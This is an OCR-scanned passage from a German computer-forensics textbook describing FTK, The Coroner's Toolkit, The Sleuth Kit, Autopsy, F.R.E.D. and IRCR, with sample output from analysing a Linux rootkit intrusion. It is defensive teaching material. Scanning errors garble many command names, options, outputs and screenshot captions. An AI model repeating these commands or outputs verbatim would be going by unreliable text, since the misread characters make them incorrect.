nologies) besteht die Moglichkeit, den Inhalt von 270 Dateiformaten
sofort zu analysieren. Der enthaltene FTK Imager unterstiitzt die On-
the-Fly-Analyse von an das Analysesystem angeschlossenen Datentra-
gern oder von zuvor erstellten Images. Wie die meisten der anderen
integrierten Losungen erstellt das FTK Protokolldateien tiber die vom
Ermittler durchgefithrten Tatigkeiten.

18. http:/lwww.accessdata.com/
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Um wesentliche Geschwindigkeitsvorteile zu erhalten, wurde FTK mit
den neuen Versionen auf ein datenbankbasiertes Design umgestellt.
Die damit erschaffene Architektur ermoglicht auch in einer geschutz-
ten Laborumgebung, von mehreren Arbeitsplatzen auf das Werkzeug
zuzugreifen.

Folgende Features bietet das FTK:

19.
20.
21.

Volltextsuche in allen Bereichen des erstellten Image nach Textzei-
chen und Binarmustern

Erweiterte Suchfunktionen nach Grafikdateien und bestimmten
Internetspuren

Automatische Wiederherstellung von geloschten oder versteckten
Dateien bzw. Fragmenten (auch unterschiedliche Archivformate)
Unterstiitzung von NTFS (auch komprimiert), FAT 12/16/32 und
ext2/3/4

Analyse verschiedener Image-Formate: EnCase, SMART'®, Snap-
Back??, Safeback?! und dd

Automatische Analyse (Anzeige, Suche, Druck, Export, Wiederher-
stellung) verschiedener Mailprogrammformate: Outlook (auch Ex-
press), AOL, Netscape/Mozilla, Eudora, Earthlink/Hotmail/MSN-
Formate??

hitp:/lwww.asrdata.com/tools/
hitp:/www.snapbak.com
http:/lwww.forensics-intl.com/safeback.html

Abb. 6-27

Analyse der Grafiken, die
sich im Browser-Cache
eines NTFS-Image
befinden, mit dem
AccessData FTK
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Abb. 6-28

Extraktion eines bereits
geldschten, aber komplett
wiederherstellbaren
Rootkits unter Linux mit
dem AccessData FTK
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Um mit eigenen Windows-Tools das verdichtige Image zu analysieren,
bietet der FTK Imager in seiner neusten Version auch das Mounten als
Laufwerksbuchstaben an. StandardmifSig geschieht dies read-only,
kann aber auch schreibend erfolgen. Es werden folgende Dateisystem-
formate erkannt: FAT 12, FAT 16, FAT 32, NTFS, exFAT, Ext2FS,
Ext3FS, Ext4FS, ReiserFS, HFS, HFS+, CDFS und VXFS. Werden CD-
bzw. DVD-Images eingelesen, ist die Anzahl der unterstiitzten Formate
ebenfalls sehr vielfaltig (s. Abb. 6-29).

Bei der Analyse von Datentriger-Images versteht sich der FTK
Imager auf folgende Formate: EnCase, SnapBack, Safeback, Expert
Witness, RAW DD, ICS, Ghost (Forensische Images), SMART, Access-
Data Logical Image (AD1) und Advanced Forensics Format (AFF).
Trifft der FTK Imager auf verschliisselte Images, wie z.B. PGP, Uti-
maco oder Safeboot, werden diese als solche erkannt und kénnen dann
mit den Kryptoanalyse-Werkzeugen von AccessData oder anderen
Herstellern weiter analysiert werden (s. Abb. 6-30).

Der FTK Imager ist auch als Kommandozeilenversion fiir Linux
und Mac OS X verfiigbar.

22. Daten von http://project.honeynet.org/
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For User Guide, press F1

Mount Image To Drive

&

Add Image

Image File:

]z:\Fnransms\m:z,hacked.dd

Maunt Type: [Physical & Logieal

Drive Letter: [next Avalable (F1)

Mount Method: [5inck pevice § Read only

LefLef Lo

Mapped Image List
Mapped Images:

2

Mount

<] m

Drive | Method | Partition | 1mage
PhysicalDrivel  Block DevicefRead ...  Image ZiForensicsth7z_hacked.dd
E File SystemjRead Only | [Exta] ZiForensicslyh7z_hacked.dd

[E3}

Unmount
Close

6.13 The Coroner’s Toolkit und TCTUtils

The Coroner's Toolkit>> (TCT) wurde von Dan Farmer und Wietse
Venema als Sammlung von Werkzeugen fiir die Post-mortem-Analyse
von Einbriichen auf Unix-Servern entwickelt. Die erste Version verof-
fentlichten sie bereits 1999.

23. http:/fwww.porcupine.org/forensics/tct.html
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Abb. 6-30
Sichergestellte Images
kénnen als
Laufswerksbuchstabe
gemountet werden.

Post-mortem-Analyse
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Weitere Tools

Nicht-invasive Analyse
von Dateisystemen

TCT ermoglicht die Analyse von Inodes oder ganzen Blocken von
ufs- und extfs-Dateisystemen:

grave-robber

Sammelt von einem aktiven System alle wichtigen Informationen
zur weiteren Analyse. Es kann aber auch nachtraglich (mit einigen
Einschrinkungen) mit einem Image verwendet werden. Zusatzlich
erhilt man eine Ubersicht aller auf dem System befindlichen
Dateien.

pcat

Zeigt den Hauptspeicherinhalt eines laufenden Prozesses an. Auch
wenn das zugehorige Programm nach dem Start geloscht wurde,
kann man hier noch aussagekraftige Ergebnisse erhalten.

icat

Zeigt den Inhalt von Inodes an.

ils

Alle Informationen iiber unallozierte Inodes einer Partition konnen
angezeigt werden.

unrm
Speichert alle unallozierten Blocke einer Partition in eine Datei.

lazarus
Ermoglicht das teilweise Zusammensetzen von Dateien aus Images
mit geloschten Blocken. Diese Images konnen mit unrm erstellt
werden.

mactime
Erlaubt die Analyse von MAC-Times in einem definierbaren Zeit-
raum.

TCTUtils** von Brian Carrier erginzt das TCT um weitere System-
analysetools fur die Untersuchung kompromittierter Dateisysteme.

TCT und TCTUtils werden nicht mehr weiterentwickelt. Das im
folgenden Kapitel beschriebene Sleuth Kit stellt die aktuelle Weiterent-
wicklung mit zusitzlichen Funktionen dar.

6.14 The Sleuth Kit

Das Sleuth Kit*>> (vorher unter dem Namen TASK veroffentlicht) ist
eine Sammlung von Tools, die einem Ermittler die nicht-invasive Ana-
lyse von Dateisystemen erméglicht. Die Anzahl der unterstiitzten Datei-

24. Daten von http:/lproject.honeynet.org/
25. http:/lwww.sleuthkit.org/sleuthkit/
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systeme wird stindig erweitert. Derzeit werden folgende Formate ein-
gelesen: Raw-Formate wie z.B. dd, Expert-Witness-Format z.B. von
EnCase sowie AFF-Dateisysteme und Disk Images. Darin enthaltene
Dateisysteme konnen z.B. NTFS, FAT, UFS 1, UFS 2, EXT2FS,
EXT3FS, Ext4, HFS, ISO 9660 und YAFFS2 sein. Die im Sleuth Kit
enthaltenen Werkzeuge arbeiten auf unterschiedlichen Abstraktions-
ebenen und ermoglichen die Extraktion von Daten aus der internen
Dateisystemstruktur. Das Kit verfugt iiber ein Plugin-Framework, wel-
ches die Integration weiterer Werkzeuge, beispielsweise zur Inhalts-
analyse einzelner Dateitypen, ermoglicht. Umgekehrt ist aber ebenfalls
eine Integration in andere Forensik-Werkzeugsammlungen moglich.
Dadurch kann auf Bereiche zugegriffen werden, die normalerweise vor
dem Betriebssystem verborgen sind. Viele kleinere Kommandozeilen-
tools machen die Anpassung an die eigene Ermittlungsstrategie mog-
lich. Auf diese Weise lassen sich diese Komponenten in eigene Skripte
einbinden. Das ist aber nur fiir den getibten und erfahrenen Ermittler
sinnvoll, da sehr schnell sehr viele und teilweise uniibersichtliche
Datenmengen entstehen kénnen. Um den Uberblick iiber die vielen
Funktionen nicht zu verlieren, ist die Verwendung des Sleuth Kit mit
der grafischen Oberfliche Autopsy Forensic Browser (siehe
Abschnitt 6.15) zu empfehlen. Autopsy ist genau wie das Sleuth Kit ein
Open-Source-Programm und in C und Perl geschrieben. Es enthilt
Teile des alten TCT und wurde zuverlissig unter Linux, Mac OS X,
Windows (Visual Studio und mingw), CYGWIN, Open & FreeBSD
ubd Solaris tibersetzt. Fiir einige Linux-Distributionen und fir 32Bit-
und 64Bit-Windows liegen auch Binirversionen vor.

Mit dem Sleuth Kit konnen folgende Tétigkeiten durchgefiihrt
werden:

Analyse von Dateisystem-Images, die mit dd erstellt wurden.
Unterstiitzung von zahlreichen Dateisystemen; die von der verwen-
deten TSK-Version unterstiitzten Dateisysteme kann man sich mit
der Option »-f list« anzeigen lassen.

Es werden sowohl die Dateinamen der vorhandenen als auch der
geloschten Dateien und Verzeichnisse in einem Image angezeigt.
Alle benotigen Details des untersuchten Dateisystems werden
angezeigt.

Es werden alle Attribute von NTFS-Dateien angezeigt. Dies betrifft
auch die Alternate Data Streams (siche Abschnitt 5.4).

Es werden Timeline-Analysen anhand der MAC-Times durchge-
fithrt. (Zeitzonen und Systemzeitabweichungen konnen angegeben
werden, um Events iber mehrere Systeme hinweg zu korrelieren.)

Tatigkeiten
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Tools

mmls

fsstat

Zusitzlich zum dd-Format werden vom Sleuth Kit noch weitere
Image-Formate unterstiitzt, wie die Varianten des Advanced Foren-
sic Format (aff) und das Expert Witness Format von EnCase.

Zum besseren Verstandnis der Wirkungsweise des Sleuth Kit seien hier
einige der wesentlichen Tools mit ihren Features aufgefiihrt:

Zugriff auf Dateisystem-Ebene

Das Tool mmls ist ein Mediamanagement-Werkzeug, das dhnlich dem
Unix-Befehl fdisk -1u innerhalb eines Image einer ganzen Festplatte
die Offsets der unterschiedlichen Partitionen anzeigt, um diese ggf. zu
extrahieren:

$ mmls -t dos /cygdrive/d/cases/images/image
DOS Partition Table
Units are in 512-byte sectors

STot Start End Length Description
00: ----- 3637226496 0168689521 0826430322  Unallocated
0l: ----- 0000000000 0000000000 0000000001  Primary Table (#0)

02: 00:03 0000000000 3637226495 3637226496  Unknown Type (0x0D)
03: 00:01 0168689522 2104717761 1936028240  Novell Netware (0x65)
04: 00:00 0778135908 1919645538 1141509631  Unknown Type (0x72)
05: 00:02 1869881465 3805909656 1936028192  Unknown Type (0x79)

Das Tool fsstat zeigt Details (inklusive der Metadaten) des zu untersu-
chenden Dateisystems an:

$ ./fsstat -f Tinux-ext2 ../../hda8.dd
FILE SYSTEM INFORMATION

File System Type: EXT2FS

Volume Name:

Last Mount: Thu Mar 15 18:22:23 2001
Last Write: Fri Mar 16 15:52:48 2001
Last Check: Thu Mar 15 12:09:26 2001
Unmounted Improperly

Last mounted on:

Operating System: Linux

Dynamic Structure

InCompat Features: Filetype,

Read Only Compat Features: Sparse Super,

META-DATA INFORMATION

Inode Range: 1 - 66264
Root Directory: 2

CONTENT-DATA INFORMATION

Fragment Range: 0 - 265040
Block Size: 1024
Fragment Size: 1024
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BLOCK GROUP INFORMATION
Number of Block Groups: 33
Inodes per group: 2008
Blocks per group: 8192
Fragments per group: 8192

Group: 0:
Inode Range: 1 - 2008
Block Range: 1 - 8192
Super Block: 1 -1
Group Descriptor Table: 2 - 3
Data bitmap: 4 - 4
Inode bitmap: 5 -5
(-]

Zugriff auf Dateinamen-Ebene

Das Tool ffind findet anhand des Inode allozierte und unallozierte
Dateistrukturen in einem Image:

$ ./ffind -a -f linux-ext2 ../../hda8.dd 272
inode not currently used

$ ./ffind -a -f linux-ext2 ../../hda8.dd 2009
/etc/skel
Jetc/skel/.

$ ffind -a -f linux-ext2 ../../hda8.dd 24193

/dev

/dev/.
/dev/ida/..
/dev/pts/..
/dev/raw/..

/dev/rd/..

Anzeige einer geloschten Datei (erkennbar durch *), die den Inode 23
verwendet:

$ ./ffind -a -f linux-ext2 ../../hda8.dd 23
* /1k.tgz

fls listet alle allozierten und geloschten (erkennbar durch *) Dateien
eines Verzeichnisses auf:

$./f1s -f Tinux-ext2 hda8.dd -p
d/d 11: Tost+found

d/d 4017: boot
d/d 8033: home
d/d 12049: usr
d/d 16065: var
d/d 20081: proc
d/d 22089: tmp
d/d 24097: dev
d/d 26105: etc

d/d 30121: bin

ffind

fls
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d/d
d/d
d/d
d/d
d/d
d/d
r/r
d/d

34137:
38153:
44177
46185:
48193:
60258:
* 23:

* 2038:

1ib
mnt
opt
root
sbhin
floppy
1k.tgz
last

Hinweis: Inode 23 zeigt wieder das geloschte Archiv Tk.tgz.
Will man nun die geloschten Dateien im /tmp-Verzeichnis
anschauen, fragt man den entsprechenden Inode 22089 ab:

§./fls hdag.dd 22089

r/r
d/d
r/r
r/r
r/r
r/r
r/r
r/r

22090:
60256:

* 22103:
* 22104:
* 22105:
* 22106:
* 22107:
* 22108:

install.Tog
.font-unix
ccypSylG.c
ccM1STTd.o
ccsQgrMk. 1d
ccbbVjdg.c
ccSZCabn.o
ccRD854u.1d

Zugriff auf Metadaten-Ebene

icat  Das Tool icat extrahiert Daten einer Datei anhand der Metadaten (im
Gegensatz zum Dateinamen):

$./icat hda8 23 > inode 23

ils ils zeigt alle Metadaten einer Partition in einer weiterverarbeitbaren
Form an:

$ ./ils —f Tlinux-ext2 hda8.dd

class|host|device|start_time

i1s|audit1|hda8.dd| 1054408982

st_ino|st_alloc|st uid|st gid|st mtime|st atime|st ctime|st dtime|st mode|st n
Tink|st size|st_blockO|st_blockl
1]a|0|0]984654567 | 984654567 | 984654567 |0[0]0[0[00

23|£|0]0] 984706608 | 984707090| 984707105 | 984707105 100644 | 0| 520333 | 307 | 308
2038||1031|100|984707105|984707105|984707105|984707169]40755|0|0|8481|0
2039||0] 0] 1013173693| 984707090 | 984707105| 984707105 | 100755 0| 611931| 8482 | 8483

[.]

istat  istat zeigt alle vorhandenen Informationen und Daten zu einem Inode

an:

$ ./istat hda8.dd 2
inode: 2
Allocated
Group: 0

uid / gid: 0/ 0
mode: drwxr-xr-x

size: 1024

num of Tinks: 18
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Inode Times:

Accessed: Fri Mar 16 11:03:12 2001
File Modified: Fri Mar 16 02:45:05 2001
Inode Modified: Fri Mar 16 02:45:05 2001

Direct Blocks:
257

Oder wieder der auffillige Inode 23:
$ ./istat hda8.dd 23
inode: 23
Not Allocated
Group: 0
uid / gid: 0 / 0
mode: -rw-r--r--
size: 520333
num of links: 0

Inode Times:

Accessed: Fri Mar 16 02:44:50 2001
File Modified: Fri Mar 16 02:36:48 2001
Inode Modified: Fri Mar 16 02:45:05 2001
Deleted: Fri Mar 16 02:45:05 2001

Direct Blocks:

307 308 309 310 311 312 313 314
315 316 317 318 320 321 322 323
324 325 326 327 328 329 330 331
332 333 334 335 336 337 338 33

[.]

Zugriff auf Dateiebene

Das Tool dcat extrahiert den Inhalt eines Dateiblocks (wahlweise  dcat
Anzeige als ASCII, HTML oder HEX):

$./dcat -h hda8.dd 307

0 1f8b0800 5260a03a 0003e4fd Ob7c53ch R S .|S.

16 d63f0e27 6dda0608 24488182 058a8282 20 me.. $SHe. L

32 a2522e42 854aal04 54a8a68d 6dbd55ab .R.B .J.. T... m.U.

48 5cdc4404 84045029 14d36837 215al1514 \.D. ..P) ..h7 !Z.

64 8fa870f0 7af47838 47405490 16b04545 ..p. z.x8 GOT. [-+]
dls extrahiert Daten aus unallozierten Bereichen (auch unter unrm  dis
bekannt).

dstat zeigt den Status eines Dateiblocks an: dstat

$ ./dstat hda8.dd 23
Fragment: 23

Allocated (Meta)
Group: 0

$ ./dstat hda8.dd 2000
Fragment: 2000

Not Allocated

Group: 0
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mactime

mactime verarbeitet und sortiert die Ergebnisse von ils bzw. fIs, um
eine zeitliche Aufstellung der Ereignisse auf dem Dateisystem zu erzeu-
gen. Sollen UID und GID in Usernamen iibersetzt werden, sollte der
Pfad zur passenden passwd- bzw. group-Datei angegeben werden. Der
betrachtete Zeitraum kann durch die Angabe eines Datums einge-
schriankt werden (Anderungen von mtime, atime und ctime koénnen
analysiert werden, siehe Abschnitt 5.3):

$ fls -f linux-ext2 -m / -r hda8.dd | mactime —p /forensic_mnt/hda8/etc/passwd -g /forensic_mnt/hda8/etc/group

(]

Fri Mar 16 2001 02:44:50 33280 .a. -/-rwxr-xr-x root root 2055 /bin/ps
35300 .a. -/-rwxr-xr-x root root 2056 /bin/netstat
520333 .a. -/-rw-r--r-- root root 23 /lk.tgz (deleted)
Fri Mar 16 2001 02:45:02

708 m.c -/-rw-r--r-- root root60266 /dev/ida/.drag-on/sense

Sleuth Kit plus
Unix-Werkzeuge

Folgende Informationen kénnen der Ausgabe dieses Befehls entnom-
men werden: Zugriff auf die Datei /bin/ps (Inode 2055) und /bin/net-
stat (Inode 2056) am 16. Marz 2001 um 2:44:50. Zum gleichen Zeit-
punkt wird die Datei 1k.tgz (ein Linux-Rootkit-Installationsarchiv)
geloscht. Um 2:45:02 wird die Datei /dev/ida/.drag-on/sense (Teil des
Rootkits) veriandert usw.

6.15 Autopsy Forensic Browser

Der Autopsy Forensic Browser*®, ebenfalls von Brian Carrier entwi-
ckelt, ist ein HTML-Interface, das die Tools aus dem Sleuth Kit mit
Standard-Unix-Werkzeugen (strings, mdSsum, grep etc.) wirkungsvoll
verbindet. Ein kompromittiertes Dateisystem kann als Image oder auf
Block- bzw. Inode-Ebene untersucht werden. Autopsy enthilt keine
eigenen Forensik-Tools, sondern fasst lediglich Werkzeuge anderer
Pakete sinnvoll zusammen.

Version 2.x von Autopsy ist in Perl geschrieben und lduft auf allen
Plattformen, auf denen The Sleuth Kit auch lauft. Fur Cygwin und
einige Linux-Distributionen sind Binirdateien verfiigbar. Version 2.24
ist die letzte veroffentlichte Linux-/Cygwin-Version von Autopsy.?’
Die Version 3.0 liuft nunmehr nur noch unter Windows und kommt
dafiir mit einer komfortablen GUI daher.

26. htip:/lwww.sleuthkit.orglautopsy/
27. http:/lwww.sleuthkit.orglautopsy/v2
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Da Autopsy wesentlicher Bestandteil vieler Open-Source-Toolsamm-
lungen ist und gern von Systemadministratoren eingesetzt wird, wer-
den hier die wesentlichen Eigenschaften dieses sehr flexiblen und leis-

tungsfahigen Tools kurz erldutert:

Abb. 6-31
Startbildschirm von
Autopsy Version 2
im Webbrowser

Abb. 6-32
Analyseoberfidche von
Autopsy 3 (Screenshot von
der Entwicklerseite)
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Abb. 6-33

Anzeige des
Verzeichnisinhaltes mit
Autopsy Version 2

im Webbrowser

| @ Tontcare:hast1 vt - Mazilla Firafox

()

Case Management

Vergleichbar mit kommerziellen Forensik-Tools unterstiitzt auch
Autopsy eine integrierte Verwaltung von unterschiedlichen Ermitt-
lungsfillen. Fiir jeden Fall konnen mehrere betroffene Hosts mit
jeweils mehreren Festplatten-Images definiert werden, wobei jeder
Fall in einer separaten Verzeichnisstruktur auf dem Analysesystem
verwaltet und dann einem Ermittler zugeordnet wird. Fiir jeden
Host lassen sich die jeweilige Zeitzone und eine eventuelle Zeitdif-
ferenz zu einer Referenzquelle definieren.

Dateianalyse

Dateien und Verzeichnisse eines Dateisystem-Image werden fur den
Anwender in einer normalen Dateistruktur recherchierbar darge-
stellt. Zusitzlich werden aber auch die geloschten und versteckten
Dateien und Verzeichnisse angezeigt (siehe Abschnitt 6.15).

Analyse von Dateiinhalten

Der Inhalt von Dateien kann komfortabel angezeigt bzw. extra-
hiert werden. Handelt es sich nicht um eine ASCII-Datei, kann eine
String-Analyse durchgefithrt werden. Handelt es sich bei der zu
analysierenden Datei um HTML-Code, so verhindert Autopsy,
dass der Ermittler ohne Absicht externe Ressourcen kontaktiert.
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Autopsy 3 enthilt Module fiir die automatische Analyse und Dar-
stellung von Browser-Artefakten, LNK-Dateien, der Windows-
Registry mittels RegRipper sowie EXIF-Daten aus Grafikdateien.

Priifsummen-Datenbank

Bei der Analyse der gefundenen Binirdaten konnen die generierten
Priifsummen mit den Daten der NIST National Software Reference
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Library (NSRL)?® verglichen werden. Die NSRL enthilt MD5-Priif-
summen der gingigsten Anwendungsprogramme. Es konnen auch
selbst erstellte Referenzdaten verwendet werden, z.B. mit Priifsum-
men von bekannten Rootkits. Fiir jedes Image werden zusitzlich
Priifsummen erstellt und regelmafSig uberpruft (siehe Abb. 6-34).

Abb. 6-34
Priifsummenvergleich

NSRL Lookup

a3ela9bal 345[76c69ale97MOd8bEF3 Imrepl exe
a3ela%bal 345{76c69al e97(9dR8bEF43 Imrepl.exe

Exclude Database Lookup
adela%bal 345176c69ale97(d8bEM3 Hash Not Found

Alert Database Lookup
a3ela9bal 345f76c69al e97(Hd8b8143 Hash Not Found

Dateityp-Analyse

Die gefundenen Dateien konnen anhand ihres Dateityps organi-
siert und dann gruppiert ausgewertet werden (z.B. Grafiken oder
ausfithrbare Dateien). Dafiir kommt eine modifizierte Variante des
Systembefehls file zum Einsatz. Von den gefundenen Grafikdateien
werden automatisch Thumbnails erstellt.

Timeline-Analyse

Aktivitaten auf dem Dateisystem konnen nachvollzogen werden,
da Autopsy ein detailliertes Aktivitatsprotokoll durch Auswertung
der MAC-Times erstellt und im Browserfenster recherchierbar macht.

B = Ry e 8 T —=kew  Abb. 6-35

' - : || Timeline-Analysen lassen
sich mit Autopsy 3
tibersichtlich darstellen.

_ (Screenshot von der
H Entwicklerseite)
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28. http:/fwww.nsrl.nist.gov/
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Eigene Notizen kénnen

jedem verddchtigen Inode

/B¢ Contents of Notes File - Mozilla i ] A

. File Edit Yiew Go EBookmarks Tools Window Help
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3

wdhrend der Analyse

Suche nach Schliisselwértern

Anhand von reguliren Ausdriicken kénnen im Dateisystem
bestimmte Zeichenketten gesucht werden. Es gibt bereits vorkonfi-
gurierte Suchmuster fur das Auffinden von IP-Adressen im System.
Zusitzlich sollte man auch nach allen in den bekannten Rootkits
vorkommenden Schlagwortern suchen. Hierfur kann man bei-
spielsweise durch Antivirensoftware-Hersteller im Internet verof-
fentlichte Repositories verwenden.

Metadaten und Datenblock-Analyse

Fiir eine tiefer gehende Analyse von Metadaten und Datenblocken
innerhalb eines Dateisystems bietet Autopsy komfortable Hilfsmit-
tel. Der Datenexport ist sowohl in HTML-, ASCII- als auch im
HEX-Format moglich.

Berichtswesen

Ein Ermittler, der mit Autopsy arbeitet, kann fiir jeden Beweis, den
er findet, eine Notiz anfertigen. Mit jeder Notiz werden Informati-
onen iiber das untersuchte Dateisystem und den betroffenen Inode
festgehalten. Alle Tatigkeiten, die mit den Images durchgefiihrt
werden, werden in eine History-Datei geschrieben (siehe Abb. 6-36

und Abb. 6-37).

&} | % Contents of Motes File ] B

zugeordnet werden.

Sat May 31 19:20:36 2003
Directory: fdev/ida/.drag-on/
Image: images/hdad.dd Inode: 60259 - Wiew

werddchtiges Werzeichnis unterhalb von fdev. Maglicherweise Root Kit enthalten.

Sat May 31 19:21:28 2003
File: fdev/ida/.drag-on/linsniffer
Image: images/hdas.dd Inode: 60261 - Wiew

Fasswortsniffer

Sat May 31 19:21:58 2003
File: /dev/ida/.drag-on/sense
Image: images/hdad.dd Inode: 60263 - Wiew

sorfiert die Ausgabe des Sniffers.

== TR
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Durch die quasi offene Gestaltung der Applikation und die Verwen-
dung von Open-Source- und Standard-Betriebssystem-Komponenten
konnen eigene Erweiterungen hinzugefiigt oder die erstellten Daten
mit anderen Werkzeugen weiter analysiert werden. Autopsy ist kom-
plett in Perl geschrieben und somit auf vielen Plattformen einsetzbar.
Voraussetzung ist allerdings ein lauffahiges Sleuth Kit, woraus sich
eine gewisse Plattformbindung ergibt.

Sat May 31 19:08:27 2003: images/hda8.dd: Directory listing of / (2)

Sat May 31 19:08:10 2003: images/hda8.dd: Displaying ASCII contents of Fragment 272 (1024 bytes)

Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31
Sat May 31

19:
19:
19:
19:
19:
19:
19:
19:
19:
19:
19:
19:
19:
19:
19:

14:
15:
:53
:57
19:
19:
19:
19:
20:
20:
20:
:28
:37
:58
:07

17
17

21
21
21
22

39
02

21
25
26
46
01
36
53

2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:
2003:

images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:
images/hda8.dd:

Sat May 31 19:08:34 2003: images/hda8.dd: Displaying file system details
images/hda8.dd:

Listing all deleted files
Viewing /tmp/ccypSylG.c (22103) as ASCII

Directory listing
Directory listing
Directory Tisting
Finding meta data
Directory listing
Directory listing
Directory Tisting
Creating note for
Viewing /dev/ida/
Creating note for
Viewing /dev/ida/
Creating note for

of / (2)
of /dev/ (24097)

of /dev/pts/ (32137)

address for dev/

of /dev/ (24097)

of /dev/ida/ (20089)

of /dev/ida/.drag-on/ (60259)

file /dev/ida/.drag-on/ (60259)
.drag-on/Tinsniffer (60261) as ASCII

file /dev/ida/.drag-on/linsniffer (60261)
.drag-on/sense (60263) as ASCII

file /dev/ida/.drag-on/sense (60263)

Generating ASCII report for /dev/ida/.drag-on/sense (60263)

Abb. 6-37 Autopsy-Protokoll der Tétigkeiten des Ermittlers
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Jeder erfahrene Ermittler wird sich irgendwann seinen eigenen Werk-
zeugkasten zusammenstellen wollen. Das ist sinnvoll, denn jeder sollte
mit den Tools umgehen, die er am besten handhaben kann. Allerdings
ergibt sich daraus auch ein Problem, denn die Ergebnisse sind nicht
standardisiert und auch nicht vergleichbar. Es ist sicherlich nicht vor-
teilhaft, wenn vor der Prasentation von Untersuchungsergebnissen erst
langwierig uber die Glaubwiirdigkeit der verwendeten Tools und
Methoden befunden werden muss. Da aber leider nicht alle zur Verfii-
gung stehenden Werkzeuge alle Belange einer forensischen Ermittlung
vollstandig abdecken, kommt man als Ermittler meist nicht umhin,
sich eigene Arbeitsumgebungen zusammenzustellen. Einige der vielen
Alternativen seien hier kurz vorgestellt.
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Live-Daten auf
Diskette speichern

Abb. 6-38
F.R.E.D. in Aktion

Windows-Systemdaten
sammeln

6.16.1 F.R.E.D.

Die First Responder’s Evidence Disk (ER.E.D.) wurde im Air Force
Office of Special Investigations unter Leitung von Jesse Kornblum ent-
wickelt. Sie bietet die Moglichkeit, sehr schnell viele Statusinformatio-
nen eines Live-Systems einzusammeln, mit einer Priiffsumme zu verse-
hen und auf einer Diskette zu speichern. Alle verwendeten
Systembefehle sind in dieser Toolsammlung selbst enthalten, sodass
nicht die Gefahr besteht, dass man mdoglicherweise trojanisierte Sys-
tembefehle einsetzt.

orensic Cmd Shell

D or Ctel-F for Directory and filname completion
Shell Path has been modifi
i £ th

to find trusted cdrom hinari
dri Jetter

red. bat
ED vi.1 is r»unning

Sa 16.11.208217:18:25,67
11 ERN

Yaudit.txt

125,67

a 16.11.208217:18:25,69
'ERN
nsinfo drraudit.cxt

Da es sich bei ER.E.D. nur um eine Batch-Datei handelt, aus der her-
aus die benotigten Tools aufgerufen werden, kann man hier eigene
Anpassungen vornehmen bzw. weitere Tools hinzufiigen.

6.16.2 Incident Response Collection Report (IRCR)

IRCR?? ist eine Sammlung von Werkzeugen, die kritische Systemdaten
von einem Windows-System sammelt und analysiert. Da nicht die eige-
nen Tools, sondern auch Systembefehle verwendet werden, findet die
Analyse im Sinne der MAC-Times nicht spurlos statt. Nichtern
betrachtet ist IRCR eigentliche eine Perl-Runtime-Datei, die mehrere
Windows-Systembefehle aufruft und in einem HTML-Report tber-
sichtlich zusammenfasst. Aber eigentlich braucht man fir den Anfang
nicht mehr. Leider lassen sich keine eigenen Befehle hinzufiigen.

29. btip:/lircreripod.com/
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WINNT" System32'cmd.exe Abb. 6-39
IRCR kann auch fiir
Windows-NT-4.0-Systeme
verwendet werden.
=lolx| Abb. 6-40
. File Edit WYiew Go Bookmarks Took ‘Window Help [RCR " [[t d
= > erstellt aus den
O o Q Q [ Flesfjpssrpttambourzreport.htm | [Eusearch | 6‘0 . .
3 Ergebnissen eine HTML-
S Incident Respanse Callection Repart (%] o .
1 Ubersicht.
Incwdent Response Co\lect\on Report
S0 Jun 01 2003 Westeuropiieche Sommerzeit
System Information
Eile shares BACKGROUND
@obal Groups . P
This Incident R Collecti R rt (IRCR) lar to Thi
Lodlarae Coronar's Toolkit (TCT) by Dan Farmer & Wistse vansma. This
I e ssanress program is a collection of tools that gathers and/or analyzes
Nebuork Sevices farensic data an a Microsaft Windows system. You can think of this
MetaOTcUSers] a5 & snapshat of the systemn in the past, Like TCT, most of the toals
T are oriented towards data collection rather than analysis. The idea
Routng Table of IRCR is that anyone could run the tool and send the output to &
ot Cortauration skilled Windaows forensic security person for further analysis.
MetBIOS Session
PErotocol Statisti
Frateulotetisi: IP CONFIGURATION
Hidden Files
Timestarp File Listing Windows 2000-IP-Konfiguration
Graphical File Listing
Event Log. Hostname : Tambour2
Application Log Prim,res DNS-S :
System Log. Knotentyp roadcastadapter
Security Log IP-Routing aktivie Mein
Start Up Files WINS-Proxy aktiviert, .. Nein
Detalled Services Report
Reqistry Information Ethernetadapter "LAN-Verbindung":
E?,”;;;s verbindungsspezifisches DNS-Suffix:
MDS Check Beschreibung : 3Com EtherLink 10/100 PCI For
Complete PC Managem ,
Physikalische Adresse + 00-01-03-49-F1-C5
Computer System
Autokonfiguration aktiviert
IP-Adresse
Caaption: Microsot Windows 200m Subnetzmaske
[ & &F 3 | flecffiofrptlelisttat B
Die Ausgaben folgender Befehle werden durch IRCR gesammelt und in
einem Bericht zusammengefasst:
net share Vorhandene Freigaben Tab. 6-1
: . Befehle, die durch IRCR
net group Anzeige der globalen Gruppen (nur auf Domaincontrollern efehle, die durch IRC.
moglich) ausgefiihrt werden

net Tocalgroup

Anzeige der lokalen Gruppen

net sessions

Anzeige der aktiven Netzsitzungen

net start Anzeige der laufenden Windows-Dienste
net users Anzeige der lokalen Anwender
net use Zeigt die verbundenen Netzwerkressourcen an

route print

Anzeige der aktiven Netzwerkrouten
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ipconfig /all Interface-Konfigurationen werden angezeigt

net view Zeigt Informationen Uber vorhanden Netbios-Sitzungen an
netstat Informationen Uber aktive Verbindungen oder offene Ports
arp —a Anzeige der Arp-Table

dir /S /AH /TA Anzeige der versteckten Dateien und Verzeichnisse des

Laufwerks, auf dem IRCR gestartet wurde

dir /S /TA Anzeige der Zeitstempel der Dateien und Verzeichnisse des
Laufwerks, auf dem IRCR gestartet wurde

tree /F /A Baumdarstellung der Verzeichnisstruktur

Textexport des gesamten Eventlog
Textexport des Security Log
Textexport des System Log
Textexport des Application Log
Starteintrage der Registry®°

streams -s *.* Anzeige der Alternate Data Streams auf NTFS-Systemen!
(in IRCR enthalten)

memdump Kopie einzelner RAM-Bereiche
(in IRCR enthalten)

md5sum Erstellung und Uberpriifung von MD5-Priifsummen
(in IRCR enthalten) | definierbarer Dateien

6.16.3 Windows Forensic Toolchest (WFT)

Die Windows Forensic Toolchest>! (WFT) ist eines der Werkzeuge, um
